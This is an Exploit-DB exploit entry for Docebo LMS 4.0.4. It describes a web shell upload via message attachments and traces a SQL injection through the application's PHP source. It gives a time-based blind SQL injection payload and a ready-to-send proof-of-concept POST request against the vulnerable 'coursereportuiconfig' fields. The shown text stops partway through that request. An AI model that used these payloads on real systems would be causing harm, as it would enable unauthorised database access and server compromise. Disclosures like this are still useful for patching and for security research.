Exploit-DB #18224
Description: Docebo Lms 4.0.4 - 'Messages' Remote Code Execution
Type: webapps
Platform: php
Date: 2011-12-09
Author: mr_me

Exploit:
<?php
/*
Docebo LMS <= v4.0.4 (messages) remote code execution exploit
vendor_________: http://www.docebo.com/
software link__: http://www.docebo.com/community/doceboCms/
author_________: mr_me::rwx kru
email__________: steventhomasseeley!gmail!com

"We must become the change we want to see in the world." -Gandhi
-------------------------------------------------------------
description:
DoceboLMS is a SCORM compliant Open Source Cloud E-Learning platform used in corporate, government 
and education markets. The Platform supports 25 languages and can be used with different didactic 
models (Blended, Self-Directed, Collaborative and even Social Learning).

The application allows a superadministrator to inject and execute arbitray SQL into the
backend database via an insert statment. Working, but its pointless.

Additionally, the application allows a low privlidged attacker (student or higher) to upload/inject 
php code by creating a message attachment and sending it to a nonexistent user. After this, an attacker 
can simply view the "sent" message only to then find their web shell conviently renamed.
----------------------------------------------------------------------------------

SQL Injection:
==============
We start our code journey in lines 47-49 of ./doceboCore/index.php where we create the module.
Then, lines 83-86 sets up the call to loadBody(): 

-->
if($GLOBALS['modname'] != '') {
        $module_cfg =& createModule($GLOBALS['modname']);
}

............

} elseif($GLOBALS['modname'] != '') {

        $module_cfg->loadBody();
}
<--

within ./lib/lib.istance.php, the createModule() function is defined and includes code for us to perform the
loadBody() function on lines 60-64.

-->
function &createModule($module_name, $class_name = NULL) {

..................

	if(file_exists($where.'/class.module/class.'.$module_name.'.php')) {

		require_once($where.'/class.module/class.'.$module_name.'.php');
		if( $class_name === NULL ) $class_name = $def_class_name.'_'.ucfirst($module_name);
	}

..................
	
	return $module_cfg;
}
<--

lines 56 of ./class.module/class.iotask.php is where the loadBody function is delcared. 
Later on lines 112 the function checks for the 'addconnection' is set in the GET request and calls 
ioTask_UIConnectionNew() on the current object.

-->
function loadBody() {

.......................

		} elseif( isset($_GET['addconnection']) && !isset($_POST['cancel']) ) {
			ioTask_UIConnectionNew($this, '', '' );
<--

lines 244 of ./doceboCore/modules/iotask/iotask.php defines the function ioTask_UIConnectionNew()
on lines 255-264 we pass input from the GET/POST parameters to a function called parse_input()
which simply sets the current configuration with our specfied 'coursereportuiconfig[name]' and 
'coursereportuiconfig[description]' variables on the DoceboConnectorCourseExport instance. 
Again, on lines 266-269 the code checks to see if the variable $action is set to 'finish' and if so
it calls the save_connection() function with our injected DoceboConnectorCourseExport instance.

-->
function ioTask_UIConnectionNew( &$module, $action, $subop ) {

...........

	if( $subop == 'edit_connection' ) {
		$connection = $connMgr->create_connection_byname(key($action));
	} else {
		$connection = $connMgr->create_connector_bytype($_POST['type_connection']);
	}
	$connectionUI = $connection->get_configUI();
	print_r($connectionUI);
	$connectionUI->set_lang($lang);
	$connectionUI->set_form($form);
	$connectionUI->parse_input($_GET, $_POST);

	if( is_array($action) ) {
		if( key($action) == 'finish' ) {
			$connectionUI->go_finish();
			if( $connMgr->save_connection( $connectionUI->get_old_name(), $connection ) )
<--

finally, lines 163-180 of ./doceboCore/lib/lib.iotask.php the save_connection function contains 
the actual sql query:
-->
	function save_connection( $old_name, $connection ) {
		$name = $connection->get_name();
		$description = $connection->get_description();
		$type = $connection->get_type_name();
		$params = $connection->get_config();
		$str_params = urlencode(serialize($params));
		$lang =& $this->get_lang();
		
		if( strlen(trim($name)) == 0 ) {
			$this->last_error = $lang->def('_OPERATION_FAILURE');
			return FALSE;
		}
		
		if( $old_name === '' ) {
			$query = "INSERT INTO ".$GLOBALS['prefix_fw']."_connection"
					."(name,description,type,params)" 
					." VALUES "
					."('$name','$description','$type','$str_params')";
<--

Both the 'coursereportuiconfig[name]' and 'coursereportuiconfig[description]' variables are vulnerable to
attack, but of course you need at least read access (ie teacher or admin):

An attacker can use blind sql injection to exploit this vulnerability very easily. However, they will need a valid 
'authentic_request' and 'docebo_session' variables set in the request. The interesting thing is, the 'name' field
in the db table is actually the primary key. So if you make multiple requests with the same 'name', the SQL
Injection will execute but the integrity constraint will trigger and thus, not insert a record. sweet.

Example SQL injection: suntzu','course-export-connector',(CASE WHEN substr((SELECT version()),1,1)='5' THEN benchmark(5000000,md5(1)) ELSE 0 END))--+

PoC Request:
POST /webapps/dc/doceboCore/index.php?modname=iotask&op=display&addconnection&gotab=connections HTTP/1.1
Host: 192.168.220.128
Cookie: docebo_session=pbkipn2uvsf4cjive88aadlnf1
Content-Type: application/x-www-form-urlencoded
Content-Length: 659

authentic_request=debe0efcb991e3e3506fe10b99dc90d2&type_connection=course-export-connector&coursereportuiconfig%5Bname%5D=q&coursereportuiconfig%5Bdescription%5D=suntzu','course-export-connector',(CASE WHEN substr((SELECT version()),1,1)='4' THEN benchmark(5000000,md5(1)) ELSE 0 END))--+&coursereportuiconfig%5Bfirst_row_header%5D=1&coursereportuiconfig%5Bmemory%5D=a%253A5%253A